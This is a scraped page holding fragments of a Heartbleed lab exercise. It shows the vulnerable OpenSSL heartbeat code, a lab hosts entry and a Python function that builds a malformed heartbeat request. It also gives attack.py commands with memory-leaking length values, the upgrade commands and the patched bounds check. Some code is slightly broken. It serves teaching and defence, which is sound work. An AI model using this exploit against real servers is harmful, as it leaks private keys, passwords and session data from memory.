赞
踩
unsigned int payload; unsigned int padding = 16; hbtype = *p++; n2s(p,payload); p1 = p; if(hbtype == TLS1_HB_REQUEST) { unsigned char *buffer,*bp; int r; buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, p1, payload); bp + = payload; RAND_pseudo_bytes(bp,padding); }
10.0.2.6 www.heartbleedlabelgg.com
def build_heartbeat(tls_ver): heartbeat = [ 0x18, # Content Type (Heartbeat) 0x03, tls_ver, # TLS version 0x00, 0x29, # Length # Payload 0x01, # Type (Request) 0x00, 0x16, # Payload length 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45 ] return heartbeat
$ attack.py www.heartbleedlabelgg.com -l 0x0016
$ attack.py www.heartbleedlabelgg.com -l 0x4000
$ sudo apt-get update
$ sudo apt-get upgrade
hbtype = *p++;
n2s(p, payload);
if( 1 + 2 + payload + 16 > s->s3->rrec.length)
return 0;
p1 = p;
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。